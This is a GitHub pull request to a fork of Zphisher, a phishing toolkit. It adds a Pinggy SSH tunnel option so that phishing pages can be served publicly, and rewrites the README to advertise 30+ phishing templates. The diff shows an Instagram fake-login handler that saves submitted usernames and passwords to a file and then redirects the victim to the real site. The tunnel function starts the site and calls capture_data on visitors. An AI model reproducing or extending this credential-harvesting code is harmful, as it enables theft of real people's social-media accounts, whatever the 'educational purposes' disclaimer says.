Skip to content

Add Pinggy port forwarding support with clear SSH password instructions #1092

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 12 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .sites/instagram/index.php
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
<?php
include 'ip.php';
header('Location: login.html');
exit
exit;
?>
3 changes: 1 addition & 2 deletions .sites/instagram/login.php
Original file line number Diff line number Diff line change
@@ -1,6 +1,5 @@
<?php

file_put_contents("usernames.txt", "Instagram Username: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://instagram.com');
exit();
?>
?>
201 changes: 21 additions & 180 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,189 +1,30 @@
<!-- Zphisher -->
# zphisher-jr

<p align="center">
<img src=".github/misc/logo.png">
</p>
[![Made with Bash](https://img.shields.io/badge/Made%20with-Bash-blue.svg)](https://www.gnu.org/software/bash/)
[![License](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE)
[![Status](https://img.shields.io/badge/Status-Work%20in%20Progress-yellow.svg)](#)

<p align="center">
<img src="https://img.shields.io/badge/Version-2.3.5-green?style=for-the-badge">
<img src="https://img.shields.io/github/license/htr-tech/zphisher?style=for-the-badge">
<img src="https://img.shields.io/github/stars/htr-tech/zphisher?style=for-the-badge">
<img src="https://img.shields.io/github/issues/htr-tech/zphisher?color=red&style=for-the-badge">
<img src="https://img.shields.io/github/forks/htr-tech/zphisher?color=teal&style=for-the-badge">
</p>
A **custom fork** of [Zphisher](https://github.com/htr-tech/zphisher) focused on adding **free port forwarding services**.
Currently supports [Pinggy](https://pinggy.io/) — more tunnelling services coming soon!

<p align="center">
<img src="https://img.shields.io/badge/Author-htr--tech-blue?style=flat-square">
<img src="https://img.shields.io/badge/Open%20Source-Yes-darkgreen?style=flat-square">
<img src="https://img.shields.io/badge/Maintained%3F-Yes-lightblue?style=flat-square">
<img src="https://img.shields.io/badge/Written%20In-Bash-darkcyan?style=flat-square">
<img src="https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Fhtr-tech%2Fzphisher&title=Visitors&edge_flat=false"/></a>
</p>
> **Note:** This tool is for **educational purposes only**.
> The author is **not responsible** for any misuse.

<p align="center"><b>A beginners friendly, Automated phishing tool with 30+ templates.</b></p>
---

##
## ✨ Features

<h3><p align="center">Disclaimer</p></h3>
- 🎯 30+ phishing templates (from the original Zphisher)
- ⚡ Automated phishing page generation
- 🌐 Integrated **Pinggy** tunnelling support
- 🔄 Works with Cloudflared & LocalXpose
- 💻 Simple CLI interface

<i>Any actions and or activities related to <b>Zphisher</b> is solely your responsibility. The misuse of this toolkit can result in <b>criminal charges</b> brought against the persons in question. <b>The contributors will not be held responsible</b> in the event any criminal charges be brought against any individuals misusing this toolkit to break the law.
---

<b>This toolkit contains materials that can be potentially damaging or dangerous for social media</b>. Refer to the laws in your province/country before accessing, using,or in any other way utilizing this in a wrong way.
## 🚀 Getting Started

<b>This Tool is made for educational purposes only</b>. Do not attempt to violate the law with anything contained here. <b>If this is your intention, then Get the hell out of here</b>!

It only demonstrates "how phishing works". <b>You shall not misuse the information to gain unauthorized access to someones social media</b>. However you may try out this at your own risk.</i>

##

### Features

- Latest and updated login pages.
- Beginners friendly
- Multiple tunneling options
- Localhost
- Cloudflared
- LocalXpose
- Mask URL support
- Docker support

##

### Installation

- Just, Clone this repository -
```
git clone --depth=1 https://github.com/htr-tech/zphisher.git
```

- Now go to cloned directory and run `zphisher.sh` -
```
$ cd zphisher
$ bash zphisher.sh
```

- On first launch, It'll install the dependencies and that's it. ***Zphisher*** is installed.

##

### Installation (Termux)
You can easily install zphisher in Termux by using tur-repo
```
$ pkg install tur-repo
$ pkg install zphisher
$ zphisher
```
### A Note :
***Termux discourages hacking*** .. So never discuss anything related to *zphisher* in any of the termux discussion groups. For more check : [wiki](https://wiki.termux.com/wiki/Hacking)

##

<p align="left">
<a href="https://shell.cloud.google.com/cloudshell/open?cloudshell_git_repo=https://github.com/htr-tech/zphisher.git&tutorial=README.md" target="_blank"><img src="https://gstatic.com/cloudssh/images/open-btn.svg"></a>
</p>

##

### Installation via ".deb" file

- Download `.deb` files from the [**Latest Release**](https://github.com/htr-tech/zphisher/releases/latest)
- If you are using ***termux*** then download the `*_termux.deb`

- Install the `.deb` file by executing
```
apt install <your path to deb file>
```
Or
```
$ dpkg -i <your path to deb file>
$ apt install -f
```

##

### Run on Docker

- Docker Image Mirror:
- **DockerHub** :
```
docker pull htrtech/zphisher
```
- **GHCR** :
```
docker pull ghcr.io/htr-tech/zphisher:latest
```

- By using the wrapper script [**run-docker.sh**](https://raw.githubusercontent.com/htr-tech/zphisher/master/run-docker.sh)

```
$ curl -LO https://raw.githubusercontent.com/htr-tech/zphisher/master/run-docker.sh
$ bash run-docker.sh
```
- Temporary Container

```
docker run --rm -ti htrtech/zphisher
```
- Remember to mount the `auth` directory.

##

<details>
<summary><h3>Dependencies</h3></summary>

<b>Zphisher</b> requires following programs to run properly -
- `git`
- `curl`
- `php`

> All the dependencies will be installed automatically when you run **Zphisher** for the first time.
</details>

<details>
<summary><h3>Tested on</h3></summary>

- **Ubuntu**
- **Debian**
- **Arch**
- **Manjaro**
- **Fedora**
- **Termux**
</details>

##

<h3 align="center"><i>:: Workflow ::</i></h3>
<p align="center">
<img src=".github/misc/workflow.gif"/>
</p>

##

### Find Me on:
<p align="left">
<a href="https://tahmidrayat.is-a.dev" target="_blank"><img src="https://img.shields.io/badge/Socials-grey?style=for-the-badge&logo=linktree"></a>
<a href="https://github.com/htr-tech" target="_blank"><img src="https://img.shields.io/badge/Github-blue?style=for-the-badge&logo=github"></a>
</p>


### *Thanks to all contributors*:

<table>
<tr align="center">
<td><a href="https://github.com/1RaY-1"><img src="https://avatars.githubusercontent.com/u/78962948?s=100" /><br /><sub><b>1RaY-1</b></sub></a></td>
<td><a href="https://github.com/adi1090x"><img src="https://avatars.githubusercontent.com/u/26059688?s=100" /><br /><sub><b>Aditya Shakya</b></sub></a></td>
<td><a href="https://github.com/AliMilani"><img src="https://avatars.githubusercontent.com/u/59066012?s=100" /><br /><sub><b>Ali Milani</b></sub></a></td>
<td><a href="https://github.com/Meht-evaS"><img src="https://avatars.githubusercontent.com/u/57435273?s=100" /><br /><sub><b>AmnesiA</b></sub></a></td>
<td><a href="https://github.com/KasRoudra"><img src="https://avatars.githubusercontent.com/u/78908440?s=100" /><br /><sub><b>KasRoudra</b></sub></a></td>
<td><a href="https://github.com/MoisesTapia"><img src="https://avatars.githubusercontent.com/u/28166400?s=100" /><br /><sub><b>Moises Tapia</b></sub></a></td>
</tr>
<tr align="center">
<td><a href="https://github.com/E343IO"><img src="https://avatars.githubusercontent.com/u/74646789?s=100" /><br /><sub><b>Mr.Derek</b></sub></a></td>
<td><a href="https://github.com/BDhackers009"><img src="https://avatars.githubusercontent.com/u/67186139?s=100" /><br /><sub><b>Mustakim Ahmed</b></sub></a></td>
<td><a href="https://github.com/sepp0"><img src="https://avatars.githubusercontent.com/u/36642137?s=100" /><br /><sub><b>sepp0</b></sub></a></td>
<td><a href="https://github.com/TripleHat"><img src="https://avatars.githubusercontent.com/u/68332137?s=100" /><br /><sub><b>TripleHat</b></sub></a></td>
<td><a href="https://github.com/Yisus7u7"><img src="https://avatars.githubusercontent.com/u/64093255?s=100" /><br /><sub><b>Yisus7u7</b></sub></a></td>
</tr>
<table>

<!-- // -->
### 1️⃣ Clone the Repository
```bash
git clone https://github.com/jrdevadattan/zphisher-jr.git
cd zphisher-jr
21 changes: 21 additions & 0 deletions zphisher.sh
Original file line number Diff line number Diff line change
Expand Up @@ -508,6 +508,24 @@ start_loclx() {
capture_data
}

## Start pinggy
start_pinggy() {
read -p "[?] Enter your local port to start server on (default 8080): " port
port=${port:-8080}

echo -e "\n[+] Starting local server on port $port..."
setup_site # Your server start command or function
sleep 3

echo -e "\e[1;31m[!!! IMPORTANT !!!] SSH password is: blank (type 'blank' when prompted)\e[0m"
echo -e "\n[+] Starting Pinggy tunnel forwarding localhost:$port ...\n"
ssh -o StrictHostKeyChecking=no -p 443 -R0:localhost:$port [email protected] &

sleep 5 # Give tunnel time to establish

capture_data # Start capturing visitor data
}

## Start localhost
start_localhost() {
cusport
Expand All @@ -526,6 +544,7 @@ tunnel_menu() {
${RED}[${WHITE}01${RED}]${ORANGE} Localhost
${RED}[${WHITE}02${RED}]${ORANGE} Cloudflared ${RED}[${CYAN}Auto Detects${RED}]
${RED}[${WHITE}03${RED}]${ORANGE} LocalXpose ${RED}[${CYAN}NEW! Max 15Min${RED}]
${RED}[${WHITE}04${RED}]${ORANGE} Pinngy ${RED}[${CYAN}NEW! Max 60Min${RED}]

EOF

Expand All @@ -538,6 +557,8 @@ tunnel_menu() {
start_cloudflared;;
3 | 03)
start_loclx;;
4 | 04)
start_pinggy;;
*)
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
{ sleep 1; tunnel_menu; };;
Expand Down